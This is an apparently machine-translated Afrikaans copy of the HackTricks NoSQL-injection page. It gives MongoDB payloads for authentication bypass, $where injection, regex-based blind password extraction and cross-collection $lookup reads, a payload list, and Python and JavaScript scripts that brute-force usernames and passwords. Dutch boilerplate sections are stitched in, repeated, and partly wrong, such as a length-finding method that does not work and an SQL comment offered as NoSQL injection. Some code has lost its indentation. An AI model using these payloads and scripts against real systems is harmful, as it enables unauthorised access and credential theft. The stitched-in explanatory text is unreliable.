hacktricks/pentesting-web/nosql-injection.md
2024-02-11 02:07:06 +00:00

22 KiB

NoSQL-inspuiting

Gebruik Trickest om maklik en outomaties werkstrome te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Uitbuiting

In PHP kan jy 'n Array stuur deur die gestuurde parameter te verander van parameter=foo na parameter[arrName]=foo.

Die uitbuitings is gebaseer op die byvoeging van 'n Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basiese verifikasie omseil

Deur nie-gelyk ($ne) of groter ($gt) te gebruik

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL-injectie

NoSQL-injectie is een kwetsbaarheid die optreedt wanneer een applicatie onvoldoende beveiliging heeft tegen ongewenste invoer in NoSQL-query's. Dit kan leiden tot het lekken van gevoelige informatie, het wijzigen van gegevens of zelfs het uitvoeren van schadelijke opdrachten.

Soorten NoSQL-injectie

  1. Inferentiële NoSQL-injectie: Dit treedt op wanneer een aanvaller informatie kan afleiden door de reactie van de database te analyseren. Dit kan worden gebruikt om gevoelige gegevens zoals wachtwoorden of gebruikersnamen te achterhalen.

  2. Time-based NoSQL-injectie: Dit is vergelijkbaar met inferentiële NoSQL-injectie, maar in plaats van de reactie te analyseren, maakt de aanvaller gebruik van vertragingen in de reactie van de database om informatie te achterhalen.

  3. Boolean-based NoSQL-injectie: Dit treedt op wanneer een aanvaller de waarheidswaarde van een voorwaarde kan beïnvloeden om informatie te achterhalen.

Voorbeelden van NoSQL-injectie

Hier zijn enkele voorbeelden van NoSQL-injectie in MongoDB:

  1. Inferentiële NoSQL-injectie: Stel dat een applicatie een gebruikersnaam en wachtwoord vereist om in te loggen. Als de applicatie geen juiste validatie uitvoert, kan een aanvaller een gebruikersnaam invoeren zoals admin'-- om toegang te krijgen tot het admin-account zonder het juiste wachtwoord.

  2. Time-based NoSQL-injectie: Een aanvaller kan een vertraging in de reactie van de database veroorzaken door een query te manipuleren. Door de reactietijd te analyseren, kan de aanvaller gevoelige informatie achterhalen.

  3. Boolean-based NoSQL-injectie: Een aanvaller kan de waarheidswaarde van een voorwaarde beïnvloeden door specifieke invoer te gebruiken. Hierdoor kan de aanvaller informatie achterhalen die normaal gesproken niet toegankelijk zou zijn.

Preventie van NoSQL-injectie

Om NoSQL-injectie te voorkomen, moeten ontwikkelaars de volgende maatregelen nemen:

  1. Inputvalidatie: Zorg ervoor dat alle invoer correct wordt gevalideerd en gesanitized voordat deze wordt gebruikt in een query.

  2. Parameterisatie: Gebruik parameterisatie om query's op te bouwen in plaats van invoer rechtstreeks in de query op te nemen.

  3. Minimale rechten: Geef de databasegebruiker alleen de minimale rechten die nodig zijn om de applicatie uit te voeren.

  4. Beperk blootstelling: Beperk de blootstelling van de database aan het internet en gebruik firewalls om ongeautoriseerde toegang te voorkomen.

Samenvatting

NoSQL-injectie is een ernstige kwetsbaarheid die kan leiden tot het lekken van gevoelige informatie en het compromitteren van een systeem. Het is belangrijk voor ontwikkelaars om de juiste beveiligingsmaatregelen te nemen om NoSQL-injectie te voorkomen, zoals inputvalidatie, parameterisatie en het beperken van blootstelling aan de database.

query = { $where: `this.username == '${username}'` }

'n Aanvaller kan dit uitbuit deur strings soos admin' || 'a'=='a in te voer, wat die navraag laat terugkeer deur die voorwaarde te bevredig met 'n tautologie ('a'=='a'). Dit is analoog aan SQL-injeksie-aanvalle waar insette soos ' of 1=1-- - gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word deur insette soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a te gebruik.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Haal lengte inligting uit

Om die lengte van 'n veld in 'n NoSQL-injeksie aanval te bepaal, kan jy die volgende tegniek gebruik:

  1. Kies 'n veld waarvan jy die lengte wil bepaal.
  2. Voeg die volgende waarde by die veld se waarde: $ne: null of $regex: /.*/.
  3. As die lengte van die veld in die antwoord verander het, kan jy aflei dat die NoSQL-injeksie suksesvol was.

Hier is 'n voorbeeld van hoe jy die lengte van 'n gebruikersnaam in 'n NoSQL-injeksie kan bepaal:

POST /users HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": {
    "$ne": null
  }
}

As die lengte van die gebruikersnaam in die antwoord verander het, kan jy aflei dat die NoSQL-injeksie suksesvol was.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Haal data-inligting uit

NoSQL-injeksie is 'n aanvalstegniek wat gebruik word om data-inligting uit NoSQL-databasisse te onttrek. Hierdie aanval maak gebruik van swakheid in die manier waarop NoSQL-databasisse navrae verwerk, wat dit moontlik maak vir 'n aanvaller om ongemagtigde toegang tot die data te verkry.

Hoe werk dit?

NoSQL-databasisse maak gebruik van 'n ander navraagtaal as SQL-databasisse. In plaas van SQL, gebruik NoSQL-databasisse dikwels 'n JSON-gebaseerde navraagtaal. Hierdie navraagtaal maak gebruik van sleutel-waarde-pare om data te stoor en te onttrek.

NoSQL-injeksie vind plaas wanneer 'n aanvaller 'n kwaadwillige waarde invoer in 'n navraag wat gebruik word om data te onttrek. Hierdie kwaadwillige waarde kan lei tot 'n onverwagte uitvoer van die navraag, wat die aanvaller in staat stel om data te onttrek wat nie bedoel is om geopenbaar te word nie.

Voorbeelde van NoSQL-injeksie

Hier is 'n paar voorbeelde van hoe NoSQL-injeksie kan plaasvind:

  1. Ongefilterde invoer: As die invoer van 'n gebruiker nie behoorlik gefiltreer word nie, kan 'n aanvaller 'n kwaadwillige waarde insluit wat die navraag beïnvloed en toegang tot ongemagtigde data verkry.

  2. Onvoldoende toetsing: As die toetsing van die invoer nie streng genoeg is nie, kan 'n aanvaller 'n spesiale waarde insluit wat die navraag manipuleer en toegang tot gevoelige data verkry.

  3. Swak sessiebestuur: As die sessiebestuur nie behoorlik geïmplementeer is nie, kan 'n aanvaller 'n spesiale waarde insluit wat die sessie-inligting manipuleer en toegang tot vertroulike data verkry.

Voorkoming van NoSQL-injeksie

Om NoSQL-injeksie te voorkom, is dit belangrik om behoorlike invoerfitering en toetsing te implementeer. Hier is 'n paar maatreëls wat geneem kan word om NoSQL-injeksie te voorkom:

  1. Invoerfitering: Alle gebruikersinvoer moet behoorlik gefiltreer word om potensiële kwaadwillige waardes te verwyder.

  2. Toetsing: Die toetsing van gebruikersinvoer moet streng wees en slegs toelaat dat geldige waardes gebruik word in die navrae.

  3. Sessiebestuur: Implementeer 'n sterk sessiebestuursbeleid om te verseker dat sessie-inligting nie gemanipuleer kan word deur 'n aanvaller nie.

Deur hierdie maatreëls te implementeer, kan NoSQL-injeksie-aanvalle voorkom word en kan die veiligheid van NoSQL-databasisse verhoog word.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

NoSQL-injectie

NoSQL-injectie is een kwetsbaarheid die optreedt wanneer een applicatie onvoldoende beveiliging heeft tegen ongewenste invoer in NoSQL-query's. Dit kan leiden tot het lekken van gevoelige informatie, het wijzigen van gegevens of zelfs het uitvoeren van schadelijke opdrachten.

Soorten NoSQL-injectie

  1. Inferentiële NoSQL-injectie: Dit treedt op wanneer een aanvaller informatie kan afleiden door de reactie van de database te analyseren. Dit kan worden gebruikt om gevoelige gegevens zoals wachtwoorden of gebruikersnamen te achterhalen.

  2. Time-based NoSQL-injectie: Dit treedt op wanneer een aanvaller de vertraging in de reactie van de database kan manipuleren om informatie te verkrijgen. Dit kan worden gebruikt om gegevens te extraheren of om de aanval te verbergen.

  3. Boolean-based NoSQL-injectie: Dit treedt op wanneer een aanvaller de waarheidswaarde van een query kan manipuleren om informatie te verkrijgen. Dit kan worden gebruikt om gegevens te extraheren of om de aanval te verbergen.

NoSQL-injectie voorkomen

Om NoSQL-injectie te voorkomen, moeten ontwikkelaars de volgende best practices volgen:

  1. Inputvalidatie: Zorg ervoor dat alle invoer grondig wordt gevalideerd voordat deze wordt gebruikt in een query. Gebruik bijvoorbeeld reguliere expressies om ervoor te zorgen dat alleen geldige invoer wordt geaccepteerd.

  2. Parameterbinding: Gebruik altijd parameterbinding in plaats van het samenvoegen van invoer in query's. Dit helpt bij het voorkomen van injectieaanvallen.

  3. Minimale rechten: Geef de databasegebruiker alleen de minimale rechten die nodig zijn om de applicatie uit te voeren. Hierdoor wordt de impact van een succesvolle aanval beperkt.

  4. Gebruik van ORM-frameworks: Gebruik Object-Relational Mapping (ORM) -frameworks die automatisch query's genereren op basis van objecten. Deze frameworks bieden vaak ingebouwde beveiligingsmaatregelen tegen injectieaanvallen.

NoSQL-injectietools

Er zijn verschillende tools beschikbaar om NoSQL-injectieaanvallen uit te voeren, zoals:

  • NoSQLMap: Een geautomatiseerd pentesting-framework voor het detecteren en exploiteren van NoSQL-injectiekwetsbaarheden.

  • Mongosniff: Een hulpmiddel dat netwerkverkeer kan vastleggen en analyseren om NoSQL-injectieaanvallen te detecteren.

  • NoSQLExploiter: Een tool die is ontworpen om NoSQL-injectieaanvallen uit te voeren en kwetsbaarheden in MongoDB-databases te identificeren.

Het is belangrijk om deze tools verantwoordelijk te gebruiken en alleen op systemen te testen waarvoor u toestemming heeft.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Willekeurige Funksie Uitvoering

Deur die gebruik van die $func operator van die MongoLite biblioteek (standaard gebruik) is dit moontlik om 'n willekeurige funksie uit te voer soos in hierdie verslag.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Kry inligting vanaf verskillende versamelings

Dit is moontlik om $lookup te gebruik om inligting vanaf 'n ander versameling te kry. In die volgende voorbeeld lees ons vanaf 'n ander versameling genaamd users en kry die resultate van al die inskrywings met 'n wagwoord wat ooreenstem met 'n wild card.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Gebruik Trickest om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Aanvalspakette

Lys van hier

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blinde NoSQL-skrips

Hierdie skrips demonstreer 'n blinde NoSQL-injeksie-aanval. Blinde NoSQL-injeksie kom voor wanneer 'n toepassing kwetsbaar is vir NoSQL-injeksie, maar nie die resultate van die aanval direk aan die aanvaller terugstuur nie. In plaas daarvan moet die aanvaller die resultate van die aanval aflei deur te kyk na die gedrag van die toepassing.

Skrips

Die volgende skrips illustreer 'n blinde NoSQL-injeksie-aanval:

const request = require('request');

function makeRequest(payload) {
  const options = {
    url: 'http://example.com/api/login',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(payload)
  };

  request(options, (error, response, body) => {
    if (error) {
      console.error(error);
    } else {
      console.log(body);
    }
  });
}

function login(username, password) {
  const payload = {
    username: username,
    password: password
  };

  makeRequest(payload);
}

function checkPassword(password) {
  const regex = new RegExp('^' + password);

  login('admin', { $regex: regex });
}

checkPassword('password');

Verduideliking

Hier is 'n verduideliking van die skrips:

  1. Die makeRequest-funksie maak 'n HTTP-aanvraag na die /api/login-roete met die gegee payload.
  2. Die login-funksie roep die makeRequest-funksie op met die gebruikersnaam en wagwoord as die payload.
  3. Die checkPassword-funksie gebruik 'n regulêre uitdrukking om die wagwoord te toets. Dit voeg die wagwoord by die begin van die regulêre uitdrukking en gebruik die $regex-operateur om te kyk of die wagwoord ooreenstem met die gebruikersnaam van die admin-gebruiker.
  4. Die checkPassword-funksie roep die login-funksie op met die gebruikersnaam "admin" en die wagwoord as die regulêre uitdrukking.
  5. Die checkPassword-funksie word opgeroep met die wagwoord "password".

As die toepassing vatbaar is vir blinde NoSQL-injeksie, sal die aanval die wagwoord "password" suksesvol aflei deur te kyk na die gedrag van die toepassing.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login gebruikersname en wagwoorde van POST-aanmelding

Hierdie is 'n eenvoudige skripsie wat jy kan wysig, maar die vorige gereedskap kan ook hierdie taak verrig.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Gereedskap

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}